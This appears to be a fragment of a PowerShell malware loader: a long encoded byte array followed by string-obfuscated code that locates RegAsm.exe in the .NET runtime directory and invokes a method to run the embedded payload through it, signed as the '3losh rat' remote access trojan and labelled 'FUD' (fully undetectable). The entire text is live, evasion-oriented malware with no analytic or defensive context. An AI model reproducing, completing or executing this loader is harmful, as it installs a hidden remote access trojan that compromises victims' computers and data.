185,41,46,173,179,88,190,0,202,98,123,47,128,102,82,185,208,2,232,68,42,82,113,1,52,85,206,239,101,39,6,127,110,1,52,86,201,98,27,6,14,160,223,184,24,250,29,21,77,191,90,70,191,214,99,72,174,242,170,184,177,74,50,6,142,228,198,168,118,142,236,123,148,27,99,142,112,35,241,16,140,219,174,233,43,71,16,90,0,29,198,205,232,245,35,96,210,2,104,2,185,165,5,208,185,8,202,23,64,201,115,253,72,184,118,247,141,197,175,184,0,58,140,251,210,2,168,92,178,133,23,64,19,224,238,190,0,10,22,187,45,128,138,238,234,185,200,115,196,2,232,120,42,58,254,76,107,202,73,136,190,104,207,217,45,223,237,59,111,79,227,206,49,236,72,71,135,121,207,215,190,211,26,119,204,188,161,145,53,68,39,124,253,124,34,201,104,61,59,248,197,255,129,53,211,246,243,24,251,12,16,35,117,200,37,176,215,1,86,3,166,0,30,4,108,5,188,4,184,14,97,76,48,207,1,220,6,24,0,88,2,220,92,64,166,20,63,65,50,23,15,149,122,73,148,24,213,198,111,125,183,125,76,183,47,127,134,191,204,49,134,191,127,222,243,157,247,158,79,228,122,196,235,128,53,163,1,167,138,126,235,254,72,97,41,186,122,54,204,129,187,247,114,255,230,245,8,234,199,123,174,71,80,255,31,185,30,65,243,112,190,14,32,173,71,64,40,153,66,214,181,30,65,249,166,252,247,92,143,160,49,138,133,117,95,143,88,23,223,123,61,226,241,248,110,105,242,245,8,170,243,187,101,189,215,35,168,48,194,99,6,212,57,27,217,167,107,61,98,103,124,87,254,222,68,124,168,75,78,59,252,12,79,16,243,23,125,94,23,206,0,28,84,238,9,159,255,148,204,182,246,120,155,172,152,205,253,153,119,239,86,246,237,61,139,236,23,29,249,222,215,15,63,243,54,199,5,209,61,223,230,24,19,221,243,109,142,43,186,173,14,148,116,155,195,127,214,235,125,158,177,253,186,222,197,235,62,195,191,249,4,167,253,175,234,113,218,255,226,110,167,244,187,159,230,206,61,193,201,226,200,211,192,247,244,61,249,236,92,232,251,115,179,115,254,150,95,143,217,249,178,255,35,51,241,255,63,158,63,215,27,254,63,127,98,197,181,226,211,21,75,20,247,43,54,43,62,84,28,80,68,43,99,149,35,149,227,148,118,101,145,242,98,165,91,185,76,121,147,242,110,229,54,229,63,149,167,169,134,168,198,170,148,42,139,42,67,85,174,114,170,60,170,160,234,50,213,50,213,42,213,53,170,191,168,110,87,109,80,253,85,245,168,170,89,245,156,234,37,213,155,170,143,84,159,169,190,84,29,85,29,87,157,174,62,71,157,164,214,171,179,232,99,247,188,159,153,161,152,171,168,80,140,87,26,148,255,227,252,255,249,252,249,252,249,252,249,156,236,137,21,215,182,154,20,55,40,238,130,134,124,84,177,85,177,71,241,138,242,13,229,251,202,79,149,95,42,191,81,70,171,134,170,226,185,78,76,87,101,171,242,84,197,170,50,85,141,106,129,106,121,132,86,220,172,106,83,21,155,203,204,151,153,111,48,223,105,126,208,188,197,220,98,126,217,252,166,217,102,153,106,153,101,17,44,94,203,101,150,43,44,119,90,238,183,188,98,121,219,242,157,37,214,234,177,62,98,45,75,89,153,114,21,93,86,41,23,239,0,190,79,217,164,178,104,39,104,23,105,175,211,222,174,221,166,221,165,253,81,59,86,151,169,243,234,22,232,218,117,227,245,211,244,21,250,21,250,111,244,101,134,122,195,85,134,123,12,63,25,234,140,127,49,142,50,233,77,51,77,139,77,43,76,187,77,49,230,2,243,40,171,219,250,177,245,239,214,127,89,101,182,161,54,26,187,183,128,246,141,138,86,197,119,138,2,229,60,229,86,229,169,170,66,213,60,206,125,149,250,50,245,26,245,67,234,151,212,111,169,191,84,143,212,204,209,188,161,25,167,93,161,221,172,61,162,61,69,23,175,155,169,123,65,31,99,152,96,184,216,48,223,240,132,97,151,97,159,225,45,67,130,81,101,204,48,94,108,188,222,184,222,184,211,248,161,49,100,60,106,252,209,120,138,233,116,211,89,166,209,166,68,147,198,180,208,212,104,186,215,180,201,116,173,121,183,185,194,226,179,172,176,188,103,249,135,229,168,133,89,79,177,142,182,142,181,26,172,41,214,201,214,124,235,28,171,96,253,210,218,215,54,203,230,176,85,219,46,177,253,211,246,173,45,58,101,96,202,180,148,25,41,165,41,213,41,219,82,62,74,161,197,197,66,240,175,83,76,84,20,41,142,43,166,40,251,162,14,52,234,89,106,149,166,84,35,215,230,106,199,233,60,186,117,250,189,122,153,225,20,195,217,134,36,67,163,225,58,195,21,198,167,140,35,77,87,152,162,204,195,204,126,243,221,168,139,47,205,255,50,47,183,190,98,251,154,46,252,204,195,156,5,134,85,49,71,113,153,98,173,98,139,162,143,114,148,210,172,92,174,188,83,185,93,249,142,242,91,229,133,170,9,170,249,170,107,85,159,162,127,27,166,86,170,167,168,171,212,110,245,58,245,211,234,118,117,154,102,150,102,153,230,38,205,195,154,217,168,167,91,181,79,105,251,235,170,117,13,186,173,186,177,250,73,6,135,225,74,195,77,134,245,134,189,134,227,134,177,166,12,211,77,150,59,44,247,88,54,89,30,181,108,179,180,90,94,181,124,96,57,104,49,89,51,173,217,214,233,214,249,86,159,117,169,245,10,235,26,235,43,214,55,172,239,163,206,190,181,254,100,61,211,166,178,61,100,107,177,125,98,59,96,251,151,237,7,148,200,105,188,60,230,167,92,146,82,155,178,56,165,49,101,77,202,109,41,212,169,215,33,15,147,192,73,180,246,99,173,90,183,88,95,175,95,175,175,49,94,102,92,110,108,48,62,111,124,205,120,196,24,99,26,97,178,152,102,155,130,166,6,211,141,166,59,77,247,67,70,62,50,125,111,26,106,78,50,223,111,126,210,188,215,124,145,69,109,73,177,216,45,183,90,238,178,60,101,121,1,242,249,134,229,125,203,167,150,144,229,48,106,236,71,139,204,58,220,250,92,202,158,148,119,83,246,167,124,69,178,186,20,243,42,204,15,31,81,221,171,30,160,245,105,23,163,12,214,107,31,208,142,208,157,163,27,163,187,72,103,213,77,214,149,66,98,235,116,7,116,95,235,70,232,199,233,147,245,127,209,223,169,127,76,255,156,126,143,62,221,48,209,80,99,88,105,248,139,225,86,195,93,134,7,12,79,26,62,51,28,52,180,27,162,141,113,198,36,163,198,104,51,78,54,150,27,189,198,5,198,37,198,85,198,181,144,176,161,166,139,76,10,147,201,148,105,154,98,154,97,42,51,185,76,181,166,165,166,213,166,181,200,205,243,166,143,77,33,147,205,60,209,156,111,14,152,151,152,87,153,31,49,63,101,126,193,252,138,249,29,243,183,102,102,233,111,25,102,169,176,184,45,117,150,229,150,191,90,30,182,108,177,236,177,236,181,188,102,121,199,242,119,212,194,17,75,130,117,156,53,9,210,104,181,166,91,167,90,11,173,51,173,149,168,19,175,117,177,117,185,245,74,235,86,235,11,214,151,80,51,239,75,173,169,221,26,101,27,102,27,109,27,99,27,103,75,180,41,109,90,155,209,102,181,165,217,236,182,82,219,181,182,13,182,237,182,55,108,135,109,63,218,100,41,177,41,134,148,89,168,177,203,82,150,165,52,161,174,238,77,121,36,229,165,148,55,80,134,7,82,190,161,50,92,131,241,17,202,240,84,197,48,197,40,197,21,138,245,138,119,20,223,42,78,81,170,49,26,171,81,62,163,124,91,121,68,249,131,114,140,202,174,154,164,18,32,135,151,168,26,32,139,55,169,238,134,158,121,92,245,172,234,29,140,187,14,168,190,81,253,168,234,167,30,162,30,161,78,80,91,212,185,234,98,245,92,245,10,245,163,234,163,234,122,205,157,154,4,173,73,251,140,246,43,109,180,238,108,93,162,78,165,51,232,82,117,19,117,5,186,25,168,153,38,221,117,186,237,186,47,116,49,250,243,244,5,250,89,250,185,208,42,183,233,239,214,111,212,239,208,191,172,255,84,223,174,31,110,24,109,152,98,152,5,105,174,49,44,52,172,48,52,24,174,49,220,105,184,207,176,201,240,152,225,25,232,129,189,134,191,25,222,51,252,221,112,200,240,149,225,91,67,148,113,132,241,60,99,50,234,207,108,180,163,6,11,141,179,140,165,198,42,163,207,184,2,181,120,181,241,14,227,67,198,199,141,205,198,103,141,47,24,95,49,190,97,124,23,58,227,31,208,26,63,24,153,233,20,211,48,211,153,166,49,166,11,161,197,44,166,155,76,199,77,167,153,135,152,207,53,79,49,23,153,207,179,110,180,62,105,125,25,109,227,67,235,1,235,96,219,153,182,115,109,23,218,38,218,124,182,165,182,123,109,175,216,78,75,73,78,89,154,82,159,178,58,229,90,177,92,215,137,235,63,209,40,215,4,133,70,145,169,40,196,24,52,160,88,9,221,190,65,49,84,121,190,82,167,204,80,22,40,231,42,189,202,197,202,27,148,79,66,191,255,168,140,85,141,130,118,47,87,13,81,159,161,158,163,190,91,253,119,245,133,26,183,230,61,205,68,237,22,109,190,110,21,218,245,179,186,119,117,114,125,182,126,165,254,118,253,131,250,143,245,139,12,55,24,158,134,38,180,33,111,109,198,190,166,76,200,92,171,121,164,165,212,178,204,114,53,180,252,110,203,126,232,59,185,245,41,235,223,172,199,172,195,109,139,109,123,109,3,83,38,165,176,135,69,254,110,84,12,87,158,11,14,254,170,108,87,234,85,43,84,91,84,33,213,62,117,31,77,140,182,80,123,177,182,92,91,167,93,173,93,167,125,2,173,250,34,221,102,221,147,168,171,55,116,135,117,167,232,229,122,163,62,95,63,95,191,90,127,143,62,4,125,103,50,220,109,120,212,240,2,106,226,176,65,102,28,102,188,192,104,50,206,52,110,50,42,76,1,211,39,144,255,126,150,193,150,11,44,25,224,235,50,203,77,150,123,172,167,216,70,217,226,109,102,91,161,173,198,118,133,237,78,219,86,219,171,182,47,81,138,9,208,181,203,82,158,73,161,142,34,1,114,153,173,152,169,112,41,150,43,110,68,127,248,148,162,77,241,177,130,41,167,42,167,43,43,192,243,181,202,91,148,235,149,187,149,95,43,59,148,227,85,122,244,138,19,84,249,82,159,232,83,45,134,164,94,173,186,25,61,226,3,144,212,22,213,11,170,125,170,247,84,251,85,7,85,223,114,105,29,172,30,174,62,79,125,33,52,170,69,61,65,157,3,153,45,131,102,245,169,23,171,151,171,155,212,107,213,183,171,239,87,111,81,191,162,62,160,254,86,29,165,57,83,51,78,147,175,169,211,188,164,57,170,185,75,251,164,118,37,180,236,191,160,87,251,24,7,66,226,198,65,99,168,141,86,227,52,227,116,244,70,78,227,37,198,58,104,141,38,227,77,198,219,160,55,54,27,183,26,159,51,190,100,124,213,248,182,241,35,227,223,33,111,103,154,170,76,110,211,126,211,249,102,171,121,182,249,10,243,86,243,135,230,163,230,65,40,161,116,203,36,75,16,189,212,205,150,251,160,33,254,102,249,200,242,153,229,16,52,223,8,235,40,107,153,85,64,235,238,155,114,118,138,61,101,74,202,39,41,180,41,74,251,162,177,10,59,122,142,14,133,75,185,70,249,17,106,209,174,154,174,90,170,122,5,253,197,17,180,76,166,238,171,142,85,199,169,207,85,107,213,130,122,33,90,229,118,245,171,232,97,143,170,101,154,24,205,233,154,161,154,18,205,98,205,6,205,38,205,115,154,87,52,33,205,183,154,88,237,153,218,36,173,89,59,81,155,175,173,208,214,104,47,211,174,213,222,141,190,101,143,246,45,200,65,148,110,160,78,174,203,213,205,210,85,233,2,186,101,186,171,117,111,235,242,245,247,233,139,12,85,134,197,134,231,141,135,140,209,166,249,166,149,166,167,76,159,153,14,155,142,153,182,152,159,70,253,91,44,217,150,103,161,209,191,177,244,67,127,155,135,254,118,165,245,90,107,162,173,192,54,215,182,209,246,149,109,16,181,153,253,162,46,186,85,225,197,60,240,61,244,124,87,99,44,211,174,138,86,15,64,93,141,84,219,213,147,213,211,120,61,85,171,253,200,201,74,245,106,245,141,234,91,213,247,170,55,170,159,68,127,184,71,221,166,126,91,253,33,242,246,79,245,55,234,83,53,195,52,114,205,24,205,120,141,65,99,211,164,107,38,162,175,12,104,174,215,108,212,180,106,62,215,36,105,47,213,94,174,125,68,219,166,253,86,43,211,13,213,141,228,61,134,9,163,140,185,58,151,238,18,104,165,135,116,143,235,154,117,187,116,251,32,241,223,234,6,232,135,232,207,209,159,175,87,232,117,122,171,62,3,45,112,158,222,163,15,232,47,213,47,69,27,184,6,58,235,113,253,123,250,175,244,103,25,146,13,153,134,108,232,171,42,131,223,176,218,240,185,225,107,195,24,99,145,113,175,241,98,147,19,58,229,175,166,173,166,23,77,125,205,25,230,105,230,106,243,149,230,91,80,247,103,89,206,181,156,111,185,200,162,177,152,208,255,121,45,107,45,27,164,62,162,217,210,98,217,105,121,217,242,166,37,218,218,223,122,179,245,78,235,189,208,67,207,89,91,173,135,173,253,108,3,108,67,160,135,70,65,247,167,96,220,82,107,91,110,123,194,246,172,237,83,219,176,148,179,82,18,83,52,41,169,208,252,141,84,174,71,24,219,3,227,44,197,205,138,125,138,211,148,231,40,199,42,83,48,223,246,43,111,135,134,127,73,249,177,50,81,149,137,49,216,63,84,10,148,238,82,72,200,123,24,91,92,0,121,47,211,204,131,100,188,13,169,248,74,211,174,185,64,171,215,166,98,76,184,83,123,64,251,47,148,90,150,174,88,119,149,110,163,174,69,215,170,27,172,191,0,101,226,208,223,161,223,173,63,172,191,0,99,31,155,33,203,144,131,177,218,50,195,237,208,214,251,12,31,27,38,26,85,166,28,83,137,73,64,207,25,107,57,195,162,133,172,207,177,44,180,172,183,188,14,57,63,110,25,129,94,175,204,122,53,242,249,156,245,160,245,84,219,25,182,249,208,87,119,33,63,211,83,218,41,31,76,198,199,199,101,138,6,197,54,133,26,186,179,86,89,175,124,80,217,172,12,41,51,84,147,85,5,170,57,24,75,6,85,171,85,215,161,127,250,84,23,175,127,71,255,79,125,31,195,25,134,13,208,238,6,140,71,171,205,62,243,229,230,135,204,195,45,169,24,103,228,90,10,209,206,54,91,118,97,44,244,9,210,63,221,122,134,213,101,173,199,24,232,7,171,2,61,233,10,219,106,219,23,182,239,109,166,148,217,24,231,52,167,132,136,135,88,25,251,12,198,0,197,44,197,221,138,167,21,143,97,140,54,87,85,169,170,133,238,92,163,186,81,37,83,159,166,62,71,173,128,108,150,104,150,104,62,210,156,163,181,104,103,105,45,250,116,253,67,250,237,250,23,245,70,67,186,33,207,80,106,184,196,176,8,163,179,59,13,15,26,94,52,124,96,232,143,49,71,188,49,209,152,99,172,53,174,198,88,227,78,227,189,24,205,30,196,152,105,32,250,164,209,232,145,212,24,117,204,50,205,53,45,193,232,233,122,211,237,166,13,166,215,77,239,154,14,152,142,152,46,48,171,204,41,230,153,230,57,230,249,230,75,205,43,204,171,49,226,127,214,252,150,249,125,243,23,230,195,230,7,44,237,150,161,214,51,173,211,172,213,24,231,223,96,253,171,245,81,107,158,173,220,22,176,45,179,221,143,190,224,130,148,164,148,252,148,185,41,85,41,238,148,191,34,143,135,83,190,79,97,114,25,151,151,51,20,23,42,178,21,5,138,121,138,7,21,143,40,94,196,184,128,198,166,99,149,71,149,114,85,41,52,12,181,194,69,234,171,212,215,171,111,70,95,181,73,253,132,250,93,245,231,234,131,234,31,212,76,211,95,19,139,246,167,215,88,209,242,166,115,57,242,106,86,104,62,214,252,168,185,16,50,116,170,110,52,70,103,115,116,62,221,18,221,20,244,250,94,125,80,223,164,127,70,191,75,255,174,254,128,190,159,225,60,140,194,228,198,241,232,197,83,141,197,198,203,161,69,31,48,182,24,203,48,138,190,222,116,171,105,179,105,175,73,102,29,105,29,131,17,147,6,163,215,203,173,171,32,53,119,90,55,89,119,163,119,222,106,251,201,182,53,165,149,234,74,33,99,35,161,79,250,43,6,41,242,20,179,209,131,28,81,28,83,244,83,38,43,211,149,185,202,114,101,35,228,127,131,114,175,242,117,101,188,74,165,202,82,93,174,90,137,177,205,215,232,27,190,87,143,209,56,53,245,154,67,144,251,239,208,23,158,175,85,66,246,179,208,35,206,215,238,214,182,106,223,69,11,120,77,247,142,110,136,254,12,125,130,190,78,127,185,126,63,90,254,4,67,192,176,1,125,241,143,134,190,198,65,198,51,49,14,73,52,174,68,93,62,0,253,255,12,52,64,200,248,181,81,134,81,198,112,147,210,100,54,77,50,229,153,74,77,151,66,83,94,111,186,25,163,225,231,145,171,183,77,31,154,190,132,118,24,100,62,203,44,55,95,104,206,50,231,153,103,153,43,204,110,115,29,122,137,70,243,26,243,141,208,24,119,154,227,44,42,204,230,220,150,38,203,70,104,136,119,45,31,91,190,66,61,143,65,235,249,30,115,24,210,11,103,219,228,54,181,205,128,81,97,186,45,219,150,135,126,118,150,173,14,26,162,201,182,214,118,55,205,59,82,197,58,78,197,156,238,109,221,251,186,253,186,207,116,33,221,33,221,17,221,81,204,239,142,233,152,62,90,31,163,31,160,143,213,15,211,143,208,143,68,127,159,160,31,171,31,15,253,167,209,27,244,22,125,170,62,83,63,81,159,163,207,211,23,234,103,232,75,48,110,171,208,87,235,93,168,201,0,202,99,17,180,226,74,253,42,253,85,250,53,250,27,244,107,161,29,215,233,55,232,239,199,168,238,97,232,201,173,104,9,45,250,157,24,131,183,234,247,233,95,215,191,173,127,31,229,247,25,198,17,135,244,71,244,71,49,230,59,166,103,134,104,67,140,97,128,33,214,48,204,48,194,48,210,32,55,36,24,198,26,198,27,20,6,141,193,96,176,24,82,161,101,39,66,191,208,7,112,105,141,111,128,53,214,58,204,58,222,170,128,68,48,175,140,239,57,45,69,43,124,95,189,95,253,153,58,164,62,164,150,107,18,52,133,154,25,154,149,154,85,154,219,52,235,160,215,238,215,140,212,202,181,9,218,177,218,241,90,133,86,163,53,208,78,215,26,25,75,224,227,182,24,197,0,69,44,70,111,35,20,35,21,114,140,225,198,42,242,148,133,202,25,218,255,220,244,159,54,199,250,236,202,251,236,249,143,207,62,99,124,109,193,150,165,243,250,99,56,244,249,172,162,211,223,59,126,179,122,203,125,119,206,140,123,244,46,179,227,180,109,9,137,67,159,105,249,114,191,114,244,22,183,113,234,220,146,235,7,95,114,111,31,195,14,197,170,57,211,31,203,220,240,98,211,119,215,204,180,13,123,252,239,203,27,135,199,60,243,122,253,242,251,206,182,126,112,225,140,77,173,59,254,57,42,249,204,243,38,221,231,155,176,254,62,245,174,127,189,163,105,254,252,166,151,142,191,245,245,3,143,223,55,118,215,169,223,124,185,165,249,60,255,71,75,95,179,237,251,228,109,83,182,242,71,117,249,247,55,215,76,249,71,224,248,87,201,191,200,249,159,207,191,227,249,127,3,108,188,68,0,196,1,0)) try { $nan = "R"+"e"+"g"+"A"+"s"+"m"+"."+"e"+"x"+"e" [String] $MyPt = [System.IO.Path]::Combine([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory(),$nan) [Object[]] $Params=@($MyPt.Replace("F"+"r"+"a"+"m"+"e"+"w"+"or"+"k"+"6"+"4","F"+"r"+"a"+"mew"+"o"+"r"+"k") ,$Bytes) return $T.GetMethod($MT).Invoke($null, $Params) } catch { } } [System.Threading.Thread]::Sleep(1000) $xx = "p"+"r"+"o"+"j"+"F"+"U"+"D"+"."+"P"+"A" $tata = "E"+"x"+"e"+"c"+"u"+"t"+"e" CodeDom $ALOSH ($xx) ($tata) #by code 3losh rat